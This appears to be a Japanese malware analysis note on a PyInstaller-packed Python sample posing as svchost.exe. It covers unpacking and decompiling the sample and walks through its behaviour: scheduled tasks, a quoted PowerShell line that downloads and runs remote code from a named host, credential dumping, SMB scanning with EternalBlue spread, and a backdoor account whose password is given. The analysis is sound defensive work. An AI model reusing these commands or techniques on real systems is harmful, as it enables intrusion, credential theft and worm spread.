# C:\windows\temp\svchost.exe ###### tags: `MAIR` python 2製。pyinstallerかな。 ## 解析方法 ``` $ python pyinstxtractor.py windows_temp_svchost.exe.malware ``` でpycがたくさん生成される。`ii`という名前のファイルがあるが、これはヘッダが欠けているので適当に直す。 ```python with open("2_svchost.exe.malware_extracted/ii", "rb") as f: buf = f.read() buf = b'\x03\xf3\x0d\x0a\x00\x00\x00\x00' + buf with open("ii.pyc", "wb") as f: f.write(buf) ``` これを戻す。 ``` $ uncompyle6 ii.pyc > main.py ``` おしまい。 ## 処理 ### main - 60124番ポートをバインド。 - 失敗したら終了(既に稼働中) - ユーザーリストを取得し、`k8h3d`というユーザーが存在するか調べる - 存在すれば削除 - powershellが存在すれば - `DnsScan`という名前で`C:\Windows\temp\svchost.exe`を起動するスケジュールを作成 - `\Microsoft\windows\Bluetooth`という名前でpowershellスクリプトを起動するスケジュールを作成 - `IEX (New-ObjectNet.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)` - なんかダウンロードして実行するだけ - ここから - mmka関数を実行 - findip関数を実行し、返ってきた各IPに対してscansmb関数を実行 - ローカルっぽくないIPに対してscansmb3関数を実行 - ローカルっぽくないIPに対してscansmb2関数を実行(192.XXXXXはターゲット) - ここまで無限ループ ### mmka powershell := powershellが存在する ps1 := m.ps1が存在する mkatz := mkatz.iniが存在する 1. if powershell && ps1 && mkatz - mkatz.iniが1日以上前のものなら再度Invoke-Cats 2. if powershell && ps1 && !mkatz - 単にInvoke-Cats 3. if powershell && !ps1 - `c:\windows\temp\m.ps1`を作成 - if mkatz - mkatz.iniが1日以上前のものなら再度Invoke-Cats - if !mkatz - 単にInvoke-Cats 5. if !powershell - `http://w.beahh.com/page.html?p%COMPUTERNAME%`をhtaとして実行するスケジュールをAutocheckとして登録 - 自身をAutoscanとして登録 とりあえずpowershellがある限りInvoke-Catsされるので、その結果からユーザー、パスワードとドメインのリストを取り出す。 ### findip CIDR形式のIPアドレスのリストを返す。 ipconfigの結果からipっぽいところを引っこ抜く。(127.0.0.1, 0.0.0.0, 255.255.0.0は例外) `http://ip.42.pl/raw`と`http://jsonip.com`からIPを取ってリストに追加。 ### scansmb 445番ポートに接続でき、かつ65533番ポートに接続できない場合、次の処理をする - `IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)`をscanしたユーザーとパスワードで実行 - ターゲットにMS17-010の脆弱性があればユーザー名`k8h3d`、パスワード`k8d3j9SjfS7`でバックドアアカウントを作成 - Windows 7の場合はEternal Blueを試す ### scan IPとポートに接続できれば1を返し、そうでなければ0を返す。